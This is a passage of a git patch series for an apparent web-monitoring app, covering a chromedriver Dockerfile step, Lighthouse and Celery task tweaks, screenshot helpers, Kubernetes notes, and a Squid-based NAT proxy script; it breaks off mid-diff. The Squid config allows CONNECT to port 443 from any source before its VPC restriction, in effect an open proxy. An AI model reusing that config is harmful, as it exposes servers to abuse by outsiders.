Subject: [PATCH 1034/1099] fix: manually installing chromedriver while
 Selenium Manager is broken

---
 Dockerfile | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 27762225..a096be4c 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -47,7 +47,8 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
     libfreetype6 \
     ca-certificates \
     libfontconfig \
-    gnupg
+    gnupg \
+    unzip
      
 # installing firefox-esr
 RUN apt-get update && apt-get install -y --no-install-recommends firefox-esr
@@ -57,6 +58,14 @@ RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd
     apt-get install -y ./google-chrome-stable_current_amd64.deb && \
     rm google-chrome-stable_current_amd64.deb
 
+# installing chromedriver from source
+RUN CHROME=$(google-chrome-stable --version | grep -oE '[0-9]+(\.[0-9]+){3}') && \
+    curl -LO "https://storage.googleapis.com/chrome-for-testing-public/${CHROME}/linux64/chromedriver-linux64.zip" && \
+    unzip chromedriver-linux64.zip -d /usr/local/bin/ && \
+    mv /usr/local/bin/chromedriver-linux64/chromedriver /usr/local/bin/chromedriver && \
+    chmod +x /usr/local/bin/chromedriver && \
+    rm -rf /var/lib/apt/lists/* && rm chromedriver-linux64.zip
+
 # installing microsoft-edge-stable
 RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \
     install -o root -g root -m 644 microsoft.gpg /etc/apt/trusted.gpg.d/ && \

From 29caf421a9753121cbb9f070aac3832fd68956af Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 23 Oct 2025 14:56:57 -0400
Subject: [PATCH 1035/1099] fix: chromedriver issue resolved with manager

---
 Dockerfile | 11 +----------
 1 file changed, 1 insertion(+), 10 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index a096be4c..27762225 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -47,8 +47,7 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
     libfreetype6 \
     ca-certificates \
     libfontconfig \
-    gnupg \
-    unzip
+    gnupg
      
 # installing firefox-esr
 RUN apt-get update && apt-get install -y --no-install-recommends firefox-esr
@@ -58,14 +57,6 @@ RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd
     apt-get install -y ./google-chrome-stable_current_amd64.deb && \
     rm google-chrome-stable_current_amd64.deb
 
-# installing chromedriver from source
-RUN CHROME=$(google-chrome-stable --version | grep -oE '[0-9]+(\.[0-9]+){3}') && \
-    curl -LO "https://storage.googleapis.com/chrome-for-testing-public/${CHROME}/linux64/chromedriver-linux64.zip" && \
-    unzip chromedriver-linux64.zip -d /usr/local/bin/ && \
-    mv /usr/local/bin/chromedriver-linux64/chromedriver /usr/local/bin/chromedriver && \
-    chmod +x /usr/local/bin/chromedriver && \
-    rm -rf /var/lib/apt/lists/* && rm chromedriver-linux64.zip
-
 # installing microsoft-edge-stable
 RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \
     install -o root -g root -m 644 microsoft.gpg /etc/apt/trusted.gpg.d/ && \

From b2b866874004afa528e8d77ee3dcf0ebfe022a9f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 23 Oct 2025 15:54:32 -0400
Subject: [PATCH 1036/1099] fix: removed depreciated `PWA` category from
 `lighthouse_api()`

---
 app/api/utils/lighthouse.py | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 2cafcd90..0fae15e6 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -199,7 +199,7 @@ def lighthouse_api(self) -> dict:
         }
 
         # cats
-        cats = 'category=ACCESSIBILITY&category=BEST_PRACTICES&category=PERFORMANCE&category=PWA&category=SEO'
+        cats = 'category=ACCESSIBILITY&category=BEST_PRACTICES&category=PERFORMANCE&category=SEO'
 
         # setting up initial request
         res = requests.get(
@@ -208,6 +208,8 @@ def lighthouse_api(self) -> dict:
             headers=headers
         ).json()
 
+        print(res)
+
         # try to get just LH response
         res = res.get('lighthouseResult')
 
@@ -328,6 +330,7 @@ def get_data(self):
                 # API after first attempt or if API Priority
                 if attempts >= 1 or self.configs.get('api_priority'):
                     raw_data = self.lighthouse_api()
+                    print(raw_data)
                     self.process_data(stdout_json=raw_data)
 
                 scan_complete = True

From 25a434d9214b4bb232cefe6290c80178a065d077 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 23 Oct 2025 16:03:46 -0400
Subject: [PATCH 1037/1099] routine: rm debug statments

---
 app/api/utils/lighthouse.py | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 0fae15e6..0ef1aba0 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -208,8 +208,6 @@ def lighthouse_api(self) -> dict:
             headers=headers
         ).json()
 
-        print(res)
-
         # try to get just LH response
         res = res.get('lighthouseResult')
 
@@ -330,7 +328,6 @@ def get_data(self):
                 # API after first attempt or if API Priority
                 if attempts >= 1 or self.configs.get('api_priority'):
                     raw_data = self.lighthouse_api()
-                    print(raw_data)
                     self.process_data(stdout_json=raw_data)
 
                 scan_complete = True

From 14763dae3ed97f39e8ca3ab0c5ceb1b630a5fe51 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 23 Oct 2025 16:41:09 -0400
Subject: [PATCH 1038/1099] update: added to k8s notes

---
 notes/Kubernetes.md | 19 ++++++++++++++++++-
 1 file changed, 18 insertions(+), 1 deletion(-)

diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 54f0b3d2..b826c783 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -82,4 +82,21 @@ kubectl apply celery-deployment.yaml
 ```shell
 kubectl port-forward service/app-service 8000:8000
 ```
-  
+ 
+----
+
+&nbsp;
+
+## Update to New Version
+
+> Ensure container version tags are up-to-date in each `.yaml` deployment file.
+
+#### 1. Apply changes 
+```shell
+kubectl apply -f app-deployment.yaml,celery-deployment.yaml,beat-deployment.yaml
+``` 
+
+#### 2. Restart deployments
+```shell
+kubectl rollout restart deployment app-deployment celery-deployment beat-deployment
+```
\ No newline at end of file

From 6ebc032458e0e2716a9c3f6a5a2d86e1ebd43ecb Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 30 Oct 2025 17:12:57 -0400
Subject: [PATCH 1039/1099] fix: handle potential errors when parsing numeric
 values in expressions

---
 app/api/utils/alerter.py | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/alerter.py b/app/api/utils/alerter.py
index eb9180ee..d7f524db 100644
--- a/app/api/utils/alerter.py
+++ b/app/api/utils/alerter.py
@@ -122,8 +122,11 @@ def build_expressions(self) -> None:
 
             # get comparison value
             if expression['data_type'] not in non_float_types:
-                value = str(float(re.search(r'\d+', str(expression['value'])).group()))
-
+                try:
+                    value = float(re.search(r'-?\d+(?:\.\d+)?', str(expression['value'])).group())
+                except:
+                    value = None
+                    
             # get operator
             if '>=' in expression['operator']:
                 operator = ' >= '

From f8a88d5c97d425cabf47ad9a5edf57457092ac17 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 30 Oct 2025 17:43:51 -0400
Subject: [PATCH 1040/1099] refactor: removing base class binding for some
 component tasks

---
 app/api/tasks.py | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index d2b2bd41..543e4a69 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1099,7 +1099,7 @@ def create_scan_bg(self, **kwargs) -> None:
 
 
 
-@shared_task(bind=True, base=BaseTaskWithRetry)
+@shared_task
 def run_html_and_logs_bg(
         self, 
         scan_id: str=None, 
@@ -1173,7 +1173,7 @@ def run_html_and_logs_bg(
 
 
 
-@shared_task(bind=True, base=BaseTaskWithRetry)
+@shared_task
 def run_vrt_bg(
         self, 
         scan_id: str=None, 
@@ -1247,7 +1247,7 @@ def run_vrt_bg(
 
 
 
-@shared_task(bind=True, base=BaseTaskWithRetry)
+@shared_task
 def run_lighthouse_bg(
         self, 
         scan_id: str=None, 
@@ -1321,7 +1321,7 @@ def run_lighthouse_bg(
 
 
 
-@shared_task(bind=True, base=BaseTaskWithRetry)
+
 def run_yellowlab_bg(
         self, 
         scan_id: str=None, 
@@ -3629,7 +3629,7 @@ def send_webhook_bg(
     Run `Alerts.sendgrid_email` as a backgroud task
 
     Expects: { 
-        'account_id'    : str, 
+        'account_id'    : str,
         'objects'       : list,
         'request_type'  : str,
         'url'           : str,

From 57d32562288518d8c1df3b0231949037c8c6a8e6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 30 Oct 2025 18:05:09 -0400
Subject: [PATCH 1041/1099] routine: formatting updates

---
 app/api/utils/flowr.py | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/app/api/utils/flowr.py b/app/api/utils/flowr.py
index e4905875..9d08e267 100644
--- a/app/api/utils/flowr.py
+++ b/app/api/utils/flowr.py
@@ -21,13 +21,13 @@ class Flowr():
     Executes a `FlowRun` based on the state of 
     the `FlowRun` instance.
 
-    Expects: {
-        'flowrun_id' : str,
-    }
+    Use `Flowr.run_next()` to run next step in `FlowRun`
 
-    - Use `Flowr.run_next()` to run next step in `FlowRun`
+    Args:
+        - 'flowrun_id' str
 
-    Returns -> Flow instance
+    Returns: 
+        - Flow instance
     """
 
 

From 6269a6a1277782592d296ca128810958238fac76 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 30 Oct 2025 18:06:00 -0400
Subject: [PATCH 1042/1099] update: adding flowrun meta data to scans created
 as fallback method

---
 app/api/tasks.py | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 543e4a69..c8dfb064 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1624,14 +1624,16 @@ def create_test(
                     kwargs={
                         'scan_id': str(new_scan.id),
                         'alert_id': None,
-                        'flowrun_id': None,
-                        'node_index': None
+                        'flowrun_id': flowrun_id,
+                        'node_index': node_index
                     }
                 )
 
                 # init Scan process
                 scan_page_bg(
                     scan_id=new_scan.id,
+                    flowrun_id=flowrun_id,
+                    node_index=node_index
                 )
 
                 # update flowrun

From 20febfd729310e601284d6179c463c244888a56d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 30 Oct 2025 18:15:22 -0400
Subject: [PATCH 1043/1099] fix: added back task-retry

---
 app/api/tasks.py | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index c8dfb064..a7f9b12c 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1099,7 +1099,7 @@ def create_scan_bg(self, **kwargs) -> None:
 
 
 
-@shared_task
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def run_html_and_logs_bg(
         self, 
         scan_id: str=None, 
@@ -1173,7 +1173,7 @@ def run_html_and_logs_bg(
 
 
 
-@shared_task
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def run_vrt_bg(
         self, 
         scan_id: str=None, 
@@ -1247,7 +1247,7 @@ def run_vrt_bg(
 
 
 
-@shared_task
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def run_lighthouse_bg(
         self, 
         scan_id: str=None, 
@@ -1321,7 +1321,7 @@ def run_lighthouse_bg(
 
 
 
-
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def run_yellowlab_bg(
         self, 
         scan_id: str=None, 

From c94b73a003c595afd011243467cf5645e207d80d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 31 Oct 2025 09:09:04 -0400
Subject: [PATCH 1044/1099] update: adding a catch for infinite scroll in
 `Imager()`

---
 app/api/utils/imager.py | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index bd31c28d..f6425087 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -572,6 +572,10 @@ def resize_window(
             print(f'adding {height_diff} to full_page_height')
             scroll_height += height_diff if height_diff > 0 else 0
 
+            # catching infinite scrolls
+            if (i >= 1 and height_diff >= 200) or height_diff >= 1000:
+                break
+
             # checking difference
             if height_diff < 20:
                 success = True

From ecc9453745e695dfebfcf3e010d406272980f9c3 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 31 Oct 2025 09:30:26 -0400
Subject: [PATCH 1045/1099] update: cleaned up method docs

---
 app/api/utils/imager.py | 91 ++++++++++++++++++++++-------------------
 1 file changed, 48 insertions(+), 43 deletions(-)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index f6425087..550927eb 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -136,7 +136,12 @@ def save_image(self, pic_id: str, image: str) -> None:
         Upload image to s3, save info as image_obj,
         add image_obj to image_array, & remove image file
 
-        Returns -> None
+        Args:
+            pic_id: str,
+            image: str
+
+        Returns:
+            None
         """
         remote_path = f'static/sites/{self.scan.site.id}/{self.scan.page.id}/{self.scan.id}/{pic_id}.png'
         root_path = settings.AWS_S3_URL_PATH
@@ -176,13 +181,13 @@ def save_images(
         """ 
         Saves two images to test.id path in S3 bucket
 
-        Expects: {
+        Args:
             pre_img_id  : uuid,
             post_img_id : uuid,
-            index       : int, 
-        }
+            index       : int
 
-        Returns: img_objs <list>
+        Returns:
+            img_objs : list
         """
 
         # build paths based test
@@ -230,17 +235,15 @@ def download_image(
         """ 
         Parses image info and downloads image to local temp_root
 
-        Expects: {
+        Args:
             'url'       : str, image url,
             'temp_root' : str, local temp dir
-        }
 
-        Returns: {
+        Returns:
             'name'          : str, image name,
             'id'            : str, image id,
             'remote_path'   : str, remote path,
             'local_path'    : str, local path
-        }
         """
         image_name = url.split('/')[-1]
         image_id = image_name.split('.')[0]
@@ -276,17 +279,15 @@ def highlight_diffs(
         Runs SSIM comparision and highlights 
         differences between two passed images
 
-        Expects: {
+        Args:
             temp_root     : str,
             pre_img_path  : str,
             post_img_path : str,
-            index         : int,
-        }
+            index         : int
 
-        Returns: {
-            'img_objs'   : dict,
-            'ssim_score' : float
-        }
+        Returns:
+            img_objs   : dict,
+            ssim_score : float
         """
         # Load the images
         image1 = cv2.imread(pre_img_path)
@@ -340,12 +341,12 @@ def pil_score(
         Runs pixel ratio comparison on the two 
         passed images and returns a score.
 
-        Expects: {
+        Args:
             pre_img  : object,
             post_img : object,
-        }
 
-        Returns: pil_img_score <float>
+        Returns: 
+            pil_img_score float
         """
         try:
             if (pre_img.mode != post_img.mode) \
@@ -378,12 +379,12 @@ def cv2_score(
         Runs cv2 ORB Brute-force comparison on the two 
         passed images and returns a score.
 
-        Expects: {
+        Args:
             pre_img  : object,
             post_img : object,
-        }
 
-        Returns: cv2_img_score <float>
+        Returns:
+            cv2_img_score float
         """
         try:
             orb = cv2.ORB_create()
@@ -429,16 +430,14 @@ def ai_compare(
         Using OpenAI, compares the two images and 
         provides a summary and boolean for 'broken'
 
-        Expects: {
+        Args:
             pre_img_url     : str,
             post_img_url    : str,
             score           : float
-        }
 
-        Returns: {
+        Returns:
             'summary': str,
             'broken': bool
-        }
         """
 
         # define output as object (JSON)
@@ -550,8 +549,7 @@ def resize_window(
         # and "document.body.scrollHeight"
         # iterate 3 times or untill height_diff is less than 20
         i = 0
-        success = False
-        while not success and i < 4:
+        while i < 4:
 
             # set window_size
             driver.set_window_size(int(sizes[0]), (int(scroll_height)))
@@ -578,7 +576,7 @@ def resize_window(
 
             # checking difference
             if height_diff < 20:
-                success = True
+                break
 
             # increment
             i += 1
@@ -737,12 +735,15 @@ def scroll_and_stitch_screenshot(
 
 
 
-    def scan_vrt(self, driver: object=None) -> list:
+    def scan_vrt(
+            self, 
+            driver: object=None
+        ) -> list:
         """
         Grabs full length screenshots of the website and uploads 
         them to s3.
 
-        Expects: {
+        Args: {
             'driver': object
         }
 
@@ -844,17 +845,17 @@ def test_vrt(self) -> dict:
         Compares each screenshot between the two scans and records 
         a score out of 100%.
 
-        Compairsons used : 
+        Compairsons used: 
             - Structral Similarity Index (ssim)
             - PIL ImageChop Differences, Ratio
             - cv2 ORB Brute-force Matcher, Ratio
 
-        Expects: None
+        Args:
+            None
 
-        Returns -> data: {
-            'average_score' : float(0-100),
-            'images'        : dict,
-        }
+        Returns:
+            'average_score' float(0-100),
+            'images'        dict
         """
 
         # defaults
@@ -987,25 +988,29 @@ def test_vrt(self) -> dict:
 
 
 
-    def caserun_vrt(self, step: int=None, type: str=None) -> dict:
+    def caserun_vrt(
+            self, 
+            step: int=None, 
+            type: str=None
+        ) -> dict:
         """
         Compares the passed step.screenshot to the case.step.screenshot
         and records a score out of 100%.
 
-        Compairsons used : 
+        Compairsons used: 
             - Structral Similarity Index (ssim)
             - PIL ImageChop Differences, Ratio
             - cv2 ORB Brute-force Matcher, Ratio
 
-        Expects: {
+        Args:
             step : int, current step to test
             type : str, "action" or "assertion"
-        }
+        
 
-        Returns: {
+        Returns:
             'average_score' : float(0-100),
             'images'        : dict,
-        }
+        
         """
 
         # default 

From 35663ac9286d5947790e3a920ca5a106e5bf6cb6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 31 Oct 2025 09:47:03 -0400
Subject: [PATCH 1046/1099] update: adding `driver_wait()` to
 `autoheight_screenshot()`

---
 app/api/utils/imager.py | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index 550927eb..3d60d719 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -622,6 +622,14 @@ def autoheight_screenshot(
 
             # set viewport
             driver.set_window_size(sizes[0], height)
+            
+            # wait for content to load
+            driver_wait(
+                driver=driver, 
+                interval=int(self.scan.configs.get('interval', 5)),  
+                min_wait_time=int(self.scan.configs.get('min_wait_time', 10)),
+                max_wait_time=int(self.scan.configs.get('max_wait_time', 30)),
+            )
 
             # capture screenshot using CDP
             screenshot = driver.execute_cdp_cmd("Page.captureScreenshot", {

From 3117eff5b34bc755f357e5e70278e61595c4c8e5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 2 Nov 2025 09:44:10 -0500
Subject: [PATCH 1047/1099] update: adding `driver_wait()` to `resize_window()`

---
 app/api/utils/imager.py | 17 +++++++++++++----
 1 file changed, 13 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index 3d60d719..93ac2b30 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -554,14 +554,23 @@ def resize_window(
             # set window_size
             driver.set_window_size(int(sizes[0]), (int(scroll_height)))
             
-            # scroll down and up
+            # scroll down 
             driver.execute_script(f"window.scrollBy(0, {client_height});")
-            time.sleep(1)
+            
+            # wait for content to load
+            driver_wait(
+                driver=driver,
+                interval=int(self.scan.configs.get('interval', 5)),  
+                min_wait_time=int(self.scan.configs.get('min_wait_time', 10)),
+                max_wait_time=int(self.scan.configs.get('max_wait_time', 30)),
+            )
+
+            # scroll up
             driver.execute_script(f"window.scrollBy(0, -{client_height});")
             
             # get client & new scroll height
-            client_height = driver.execute_script("return document.documentElement.clientHeight;")
-            new_scroll_height = driver.execute_script("return document.documentElement.scrollHeight;")
+            client_height       = driver.execute_script("return document.documentElement.clientHeight;")
+            new_scroll_height   = driver.execute_script("return document.documentElement.scrollHeight;")
 
             # get difference between full page height and new scrolled position
             height_diff = int(new_scroll_height) - int(client_height)

From f14f6ba2b52f1fe741e31f5f3db346f229414aaa Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 12 Nov 2025 11:56:56 -0500
Subject: [PATCH 1048/1099] update: added rounding to final test.score

---
 app/api/utils/tester.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 5ef5378d..305b2f48 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -894,7 +894,7 @@ def run_test(self) -> object:
         )
         
         # calculating final weighted average score
-        score = ((
+        score = round((((
             (html_score * html_score_w) + 
             (logs_score * logs_score_w) + 
             (num_logs_ratio * num_logs_w) + 
@@ -903,7 +903,7 @@ def run_test(self) -> object:
             (yellowlab_score * delta_yl_w) +
             (micro_diff_score * micro_diff_w) +
             (images_score * images_w)
-        ) / total_w) * 100
+        ) / total_w) * 100), 2)
 
         print(
             "Formula was --> ((" + str(html_score*html_score_w) + " + " 

From 8f5fd7b14fbe7ae69414ab539bd1eeab55ef8e9e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sat, 15 Nov 2025 12:22:40 -0500
Subject: [PATCH 1049/1099] update: new NAT.sh using Squid for proxy, expanded
 for High-Concurrency

---
 setup/scripts/nat.sh | 147 +++++++++++++++++++++++++++----------------
 1 file changed, 92 insertions(+), 55 deletions(-)

diff --git a/setup/scripts/nat.sh b/setup/scripts/nat.sh
index 42708ecd..229ca15a 100644
--- a/setup/scripts/nat.sh
+++ b/setup/scripts/nat.sh
@@ -1,33 +1,24 @@
 #!/bin/bash
-# If using k8s, the VP_CIDR is likely specific to the cluster
+# NAT + High-Concurrency HTTP CONNECT Proxy (Squid)
+# Supports VPC CIDR + listen port input
 
+# If using k8s, the VP_CIDR is likely specific to the cluster
 
 set -e
 
-# ========== Helper: Print usage ==========
 usage() {
   echo "Usage: $0 [-c VPC_CIDR] [-p LISTEN_PORT]"
-  echo "  -c CIDR block (e.g., 10.0.0.0/16)"
-  echo "  -p Port to listen on (e.g., 8888)"
   exit 1
 }
 
-# ========== Parse flags ==========
 while getopts ":c:p:" opt; do
   case "${opt}" in
-    c)
-      VPC_CIDR="${OPTARG}"
-      ;;
-    p)
-      LISTEN_PORT="${OPTARG}"
-      ;;
-    *)
-      usage
-      ;;
+    c) VPC_CIDR="${OPTARG}" ;;
+    p) LISTEN_PORT="${OPTARG}" ;;
+    *) usage ;;
   esac
 done
 
-# ========== Prompt if not provided ==========
 if [ -z "$VPC_CIDR" ]; then
   read -rp "Enter VPC CIDR block (e.g., 10.0.0.0/16): " VPC_CIDR
 fi
@@ -36,60 +27,106 @@ if [ -z "$LISTEN_PORT" ]; then
   read -rp "Enter listen port (e.g., 8888): " LISTEN_PORT
 fi
 
-# ========== Display final values ==========
 echo "Using VPC_CIDR: $VPC_CIDR"
 echo "Using LISTEN_PORT: $LISTEN_PORT"
+echo ""
 
-# ========== Begin Script ==========
-echo "[1/6] Updating system..."
+echo "[1/7] Updating system..."
 apt update -y
-apt install -y tinyproxy iptables-persistent curl
-
-echo "[2/6] Configuring tinyproxy..."
-
-# Backup original config
-cp /etc/tinyproxy/tinyproxy.conf /etc/tinyproxy/tinyproxy.conf.bak
-
-# Update tinyproxy.conf
-cat <<EOF > /etc/tinyproxy/tinyproxy.conf
-User nobody
-Group nogroup
-Port $LISTEN_PORT
-Listen 0.0.0.0
-Timeout 600
-DefaultErrorFile "/usr/share/tinyproxy/default.html"
-StatHost "tinyproxy.stats"
-LogFile "/var/log/tinyproxy/tinyproxy.log"
-LogLevel Info
-MaxClients 100
-MinSpareServers 5
-MaxSpareServers 20
-StartServers 10
-MaxRequestsPerChild 0
-ViaProxyName "tinyproxy"
-
-Allow $VPC_CIDR
+apt install -y squid iptables-persistent curl
+
+echo "[2/7] Applying sysctl performance tuning..."
+
+cat <<EOF >> /etc/sysctl.conf
+
+# ---- NAT Proxy Performance ----
+net.ipv4.ip_forward = 1
+
+# Larger ephemeral port range
+net.ipv4.ip_local_port_range = 15000 65000
+
+# Larger conntrack table (default ~16k, we want 262k)
+net.netfilter.nf_conntrack_max = 262144
+
+# Faster TIME_WAIT cleanup
+net.ipv4.tcp_fin_timeout = 15
+net.ipv4.tcp_tw_reuse = 1
+net.ipv4.tcp_tw_recycle = 0
+
+# Allow more open file descriptors
+fs.file-max = 500000
+
+EOF
+
+sysctl -p
+
+echo "[3/7] Configuring Squid as a CONNECT proxy..."
+
+mv /etc/squid/squid.conf /etc/squid/squid.conf.bak
+
+cat <<EOF > /etc/squid/squid.conf
+# ============ Squid High-Concurrency Proxy ============
+
+# Listen on custom port
+http_port $LISTEN_PORT
+
+# Only allow CONNECT tunneling (HTTPS proxy)
+acl SSL_ports port 443
+acl CONNECT method CONNECT
+http_access allow CONNECT SSL_ports
+
+# Allow VPC CIDR
+acl vpc src $VPC_CIDR
+http_access allow vpc
+
+# Deny all else
+http_access deny all
+
+# ---- Performance Tuning ----
+
+# Disable caching (faster, lower RAM)
+cache deny all
+memory_pools off
+cache_mem 16 MB
+
+# Increase concurrency capability
+max_filedescriptors=65535
+
+# Squid workers
+workers 1
+
+# Connection handling
+tcp_outgoing_address 0.0.0.0
+shutdown_lifetime 3 seconds
+
+# No disk cache
+cache_dir null /tmp
+
+# Logging
+access_log /var/log/squid/access.log
+cache_log /var/log/squid/cache.log
 EOF
 
-echo "[3/6] Restarting tinyproxy..."
-systemctl restart tinyproxy
-systemctl enable tinyproxy
+echo "[4/7] Restarting Squid..."
+systemctl restart squid
+systemctl enable squid
 
-echo "[4/6] Setting up IP forwarding..."
+echo "[5/7] Setting up IP forwarding..."
 sysctl -w net.ipv4.ip_forward=1
-echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf
 
-echo "[5/6] Configuring iptables (NAT fallback)..."
+echo "[6/7] Configuring iptables NAT fallback..."
 iptables -t nat -F
-iptables -A FORWARD -i eth0 -j ACCEPT
-iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
+iptables -A FORWARD -s "$VPC_CIDR" -j ACCEPT
+iptables -t nat -A POSTROUTING -s "$VPC_CIDR" -o eth0 -j MASQUERADE
 
 netfilter-persistent save
 netfilter-persistent reload
 
-echo "[6/6] Done!"
+echo "[7/7] Done!"
 
 echo ""
-echo "Tinyproxy running on port $LISTEN_PORT"
-echo "Allowed VPC Range: $VPC_CIDR"
+echo "Squid CONNECT proxy running on port $LISTEN_PORT"
+echo "Allowed VPC range: $VPC_CIDR"
 echo ""
+echo "You can test via:"
+echo "  curl -x http://<NAT_IP>:$LISTEN_PORT https://google.com -I"

From 8c39fbdbaf1607f718037bf458ef3a1e87b15e41 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sat, 15 Nov 2025 12:23:04 -0500
Subject: [PATCH 1050/1099] routine: minor cleanups

---
 app/api/tasks.py         | 2 +-
 app/api/utils/alerter.py | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index a7f9b12c..2ed98500 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2656,7 +2656,7 @@ def create_issue(
         secrets = Secret.objects.filter(account=account)
 
         # transpose data
-        title = transpose_data(title, obj.get('obj'), secrets)
+        title   = transpose_data(title, obj.get('obj'), secrets)
         details = transpose_data(details, obj.get('obj'), secrets)
 
         # build Issue
diff --git a/app/api/utils/alerter.py b/app/api/utils/alerter.py
index d7f524db..bbd90a9c 100644
--- a/app/api/utils/alerter.py
+++ b/app/api/utils/alerter.py
@@ -1,6 +1,6 @@
 from ..models import *
 from .alerts import *
-import re, uuid
+import re 
 
 
 

From f0258c64b0b90383a0462639a37f1c7a90b5bd80 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sat, 15 Nov 2025 12:57:57 -0500
Subject: [PATCH 1051/1099] update: NAT setup fixes

---
 setup/scripts/nat.sh | 89 ++++++++++++++++++++------------------------
 1 file changed, 40 insertions(+), 49 deletions(-)

diff --git a/setup/scripts/nat.sh b/setup/scripts/nat.sh
index 229ca15a..72e9602b 100644
--- a/setup/scripts/nat.sh
+++ b/setup/scripts/nat.sh
@@ -2,131 +2,122 @@
 # NAT + High-Concurrency HTTP CONNECT Proxy (Squid)
 # Supports VPC CIDR + listen port input
 
-# If using k8s, the VP_CIDR is likely specific to the cluster
+# If using k8s, the NAT_VP_CIDR is likely specific to the cluster
 
 set -e
 
 usage() {
-  echo "Usage: $0 [-c VPC_CIDR] [-p LISTEN_PORT]"
+  echo "Usage: $0 [-c NAT_VPC_CIDR] [-p NAT_LISTEN_PORT]"
   exit 1
 }
 
+# Reset variables so the script ALWAYS prompts if not provided
+unset NAT_VPC_CIDR
+unset NAT_LISTEN_PORT
+
 while getopts ":c:p:" opt; do
   case "${opt}" in
-    c) VPC_CIDR="${OPTARG}" ;;
-    p) LISTEN_PORT="${OPTARG}" ;;
+    c) NAT_VPC_CIDR="${OPTARG}" ;;
+    p) NAT_LISTEN_PORT="${OPTARG}" ;;
     *) usage ;;
   esac
 done
 
-if [ -z "$VPC_CIDR" ]; then
-  read -rp "Enter VPC CIDR block (e.g., 10.0.0.0/16): " VPC_CIDR
+if [ -z "$NAT_VPC_CIDR" ]; then
+  read -rp "Enter VPC CIDR block (e.g., 10.124.0.0/16): " NAT_VPC_CIDR
 fi
 
-if [ -z "$LISTEN_PORT" ]; then
-  read -rp "Enter listen port (e.g., 8888): " LISTEN_PORT
+if [ -z "$NAT_LISTEN_PORT" ]; then
+  read -rp "Enter Proxy Listen Port (e.g., 8888): " NAT_LISTEN_PORT
 fi
 
-echo "Using VPC_CIDR: $VPC_CIDR"
